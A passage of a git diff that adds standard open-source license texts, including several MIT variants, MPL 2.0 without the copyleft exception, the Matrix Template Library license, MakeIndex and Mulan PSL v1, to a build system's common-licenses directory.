+Permission to use, copy, modify, and distribute this software and its associated documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies, and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of the copyright holder not be used in advertising or publicity pertaining to distribution of the software without specific, written permission.
+
+THE COPYRIGHT HOLDER DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM THE LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-Modern-Variant b/meta/files/common-licenses/MIT-Modern-Variant
new file mode 100644
index 0000000000..d5075a3c96
--- /dev/null
+++ b/meta/files/common-licenses/MIT-Modern-Variant
@@ -0,0 +1,17 @@
+Permission is hereby granted, without written agreement and without
+license or royalty fees, to use, copy, modify, and distribute this
+software and its documentation for any purpose, provided that the
+above copyright notice and the following two paragraphs appear in
+all copies of this software.
+
+IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
+DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
+ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
+IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGE.
+
+THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
+ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
+PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
diff --git a/meta/files/common-licenses/MIT-advertising b/meta/files/common-licenses/MIT-advertising
new file mode 100644
index 0000000000..4a991a734d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-advertising
@@ -0,0 +1,7 @@
+Copyright (C) 2000-2008 Carsten Haitzler, Geoff Harrison and various contributors Copyright (C) 2004-2008 Kim Woelders
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software, its documentation and marketing & publicity materials, and acknowledgment shall be given in the documentation, materials and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-enna b/meta/files/common-licenses/MIT-enna
new file mode 100644
index 0000000000..6d6dd6032d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-enna
@@ -0,0 +1,9 @@
+Copyright (C) 2000 Carsten Haitzler and various contributors (see AUTHORS)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. This includes acknowledgments in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING.PLAIN for a plain-english explanation of this notice and it's intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-feh b/meta/files/common-licenses/MIT-feh
new file mode 100644
index 0000000000..33412bad7c
--- /dev/null
+++ b/meta/files/common-licenses/MIT-feh
@@ -0,0 +1,5 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its documentation and acknowledgment shall be given in the documentation and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-open-group b/meta/files/common-licenses/MIT-open-group
new file mode 100644
index 0000000000..ff185d30ed
--- /dev/null
+++ b/meta/files/common-licenses/MIT-open-group
@@ -0,0 +1,23 @@
+Copyright <yyyy, yyyy> The Open Group
+
+Permission to use, copy, modify, distribute, and sell this software and
+its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appear in all copies and that
+both that copyright notice and this permission notice appear in
+supporting documentation.
+
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL BE LIABLE FOR ANY CLAIM, DAMAGES
+OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of The Open Group
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in this Software without prior written authorization
+from The Open Group.
diff --git a/meta/files/common-licenses/MITNFA b/meta/files/common-licenses/MITNFA
new file mode 100644
index 0000000000..6d44edb3db
--- /dev/null
+++ b/meta/files/common-licenses/MITNFA
@@ -0,0 +1,7 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+Distributions of all or part of the Software intended to be used by the recipients as they would use the unmodified Software, containing modifications that substantially alter, remove, or disable functionality of the Software, outside of the documented configuration mechanisms provided by the Software, shall be modified such that the Original Author's bug reporting email addresses and urls are either replaced with the contact information of the parties responsible for the changes, or removed entirely.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MPL-2.0-no-copyleft-exception b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
new file mode 100644
index 0000000000..950a3e583f
--- /dev/null
+++ b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
@@ -0,0 +1,144 @@
+Mozilla Public License Version 2.0
+
+1. Definitions
+
+ 1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+ 1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution.
+
+ 1.3. "Contribution" means Covered Software of a particular Contributor.
+
+ 1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+ 1.5. "Incompatible With Secondary Licenses" means
+
+ (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+
+ (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License.
+
+ 1.6. "Executable Form" means any form of the work other than Source Code Form.
+
+ 1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+ 1.10. "Modifications" means any of the following:
+
+ (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+
+ (b) any new file in Source Code Form that contains any Covered Software.
+
+ 1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+ 1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+ 1.13. "Source Code Form" means the form of the work preferred for making modifications.
+
+ 1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+ 2.1. Grants
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+
+ (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+ 2.2. Effective Date
+ The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+ 2.3. Limitations on Grant Scope
+ The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+
+ (a) for any code that a Contributor has removed from Covered Software; or
+
+ (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+
+ (c) under Patent Claims infringed by Covered Software in the absence of its Contributions.
+
+ This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+ 2.4. Subsequent Licenses
+ No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+ 2.5. Representation
+ Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+ 2.6. Fair Use
+ This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+ 2.7. Conditions
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+ 3.1. Distribution of Source Form
+ All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form.
+
+ 3.2. Distribution of Executable Form
+ If You distribute Covered Software in Executable Form then:
+
+ (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+
+ (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License.
+
+ 3.3. Distribution of a Larger Work
+ You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+ 3.4. Notices
+ You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+ 3.5. Application of Additional Terms
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+ 5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice.
+
+ 5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+ 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an "as is" basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims.
+
+9. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+
+ 10.1. New Versions
+ Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+ 10.2. Effect of New Versions
+ You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+ 10.3. Modified Versions
+ If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+ 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses
+ If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+
+ This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+ This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0.
diff --git a/meta/files/common-licenses/MTLL b/meta/files/common-licenses/MTLL
new file mode 100644
index 0000000000..0af2b318fb
--- /dev/null
+++ b/meta/files/common-licenses/MTLL
@@ -0,0 +1,24 @@
+Software License for MTL
+
+Copyright (c) 2007 The Trustees of Indiana University.
+ 2008 Dresden University of Technology and the Trustees of Indiana University.
+ 2010 SimuNova UG (haftungsbeschränkt), www.simunova.com.
+All rights reserved.
+Authors: Peter Gottschling and Andrew Lumsdaine
+
+This file is part of the Matrix Template Library
+
+Dresden University of Technology -- short TUD -- and Indiana University -- short IU -- have the exclusive rights to license this product under the following license.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ 1. All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+ 2. All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+ 3. Any documentation included with all redistributions must include the following acknowledgement:
+ "This product includes software developed at the University of Notre Dame, the Pervasive Technology Labs at Indiana University, and Dresden University of Technology. For technical information contact Andrew Lumsdaine at the Pervasive Technology Labs at Indiana University. For administrative and license questions contact the Advanced Research and Technology Institute at 1100 Waterway Blvd. Indianapolis, Indiana 46202, phone 317-274-5905, fax 317-274-5902."
+ Alternatively, this acknowledgement may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+ 4. The name "MTL" shall not be used to endorse or promote products derived from this software without prior written permission from IU or TUD. For written permission, please contact Indiana University Advanced Research & Technology Institute.
+ 5. Products derived from this software may not be called "MTL", nor may "MTL" appear in their name, without prior written permission of Indiana University Advanced Research & Technology Institute.
+
+TUD and IU provide no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. TUD and IU disclaim any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY GIVE NO WARRANTIES AND MAKE NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY MAKE NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/MakeIndex b/meta/files/common-licenses/MakeIndex
new file mode 100644
index 0000000000..c345384298
--- /dev/null
+++ b/meta/files/common-licenses/MakeIndex
@@ -0,0 +1,19 @@
+MakeIndex Distribution Notice
+
+11/11/1989
+
+Copyright (C) 1989 by Chen & Harrison International Systems, Inc.
+Copyright (C) 1988 by Olivetti Research Center
+Copyright (C) 1987 by Regents of the University of California
+
+Author:
+ Pehong Chen (phc@renoir.berkeley.edu)
+ Chen & Harrison International Systems, Inc.
+ Palo Alto, California
+ USA
+
+Permission is hereby granted to make and distribute original copies of this program provided that the copyright notice and this permission notice are preserved and provided that the recipient is not asked to waive or limit his right to redistribute copies as allowed by this permission notice and provided that anyone who receives an executable form of this program is granted access to a machine-readable form of the source code for this program at a cost not greater than reasonable reproduction, shipping, and handling costs. Executable forms of this program distributed without the source code must be accompanied by a conspicuous copy of this permission notice and a statement that tells the recipient how to obtain the source code.
+
+Permission is granted to distribute modified versions of all or part of this program under the conditions above with the additional requirement that the entire modified work must be covered by a permission notice identical to this permission notice. Anything distributed with and usable only in conjunction with something derived from this program, whose useful purpose is to extend or adapt or add capabilities to this program, is to be considered a modified version of this program under the requirement above. Ports of this program to other systems not supported in the distribution are also considered modified versions. All modified versions should be reported back to the author.
+
+This program is distributed with no warranty of any sort. No contributor accepts responsibility for the consequences of using this program or for whether it serves any particular purpose.
diff --git a/meta/files/common-licenses/MulanPSL-1.0 b/meta/files/common-licenses/MulanPSL-1.0
new file mode 100644
index 0000000000..8d8fae9511
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-1.0
@@ -0,0 +1,116 @@
+木兰宽松许可证, 第1版
+
+木兰宽松许可证, 第1版
+
+2019年8月 http://license.coscl.org.cn/MulanPSL
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第1版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体”是指提交贡献的机构及其“关联实体”。
+
+“关联实体”是指,对“本许可证”下的一方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+“贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括仅因您或他人修改“贡献”或其他结合而将必然会侵犯到的专利权利要求。如您或您的“关联实体”直接或间接地(包括通过代理、专利被许可人或受让人),就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+条款结束
+
+如何将木兰宽松许可证,第1版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第1版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
+Mulan Permissive Software License,Version 1
+
+Mulan Permissive Software License,Version 1 (Mulan PSL v1)
+
+August 2019 http://license.coscl.org.cn/MulanPSL
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v1 (this License) with following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are comprised of those Contribution and licensed under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, or are controlled by, or are under common control with a party to this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed, excluding of any patent claims solely be infringed by your or others’ modification or other combinations. If you or your Affiliates directly or indirectly (including through an agent, patent licensee or assignee), institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+The Software and Contribution in it are provided without warranties of any kind, either express or implied. In no event shall any Contributor or copyright holder be liable to you for any damages, including, but not limited to any direct, or indirect, special or consequential damages arising from your use or inability to use the Software or the Contribution in it, no matter how it’s caused or based on which legal theory, even if advised of the possibility of such damages.
+
+End of the Terms and Conditions
+
+How to apply the Mulan Permissive Software License,Version 1 (Mulan PSL v1) to your software
+
+To apply the Mulan PSL v1 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
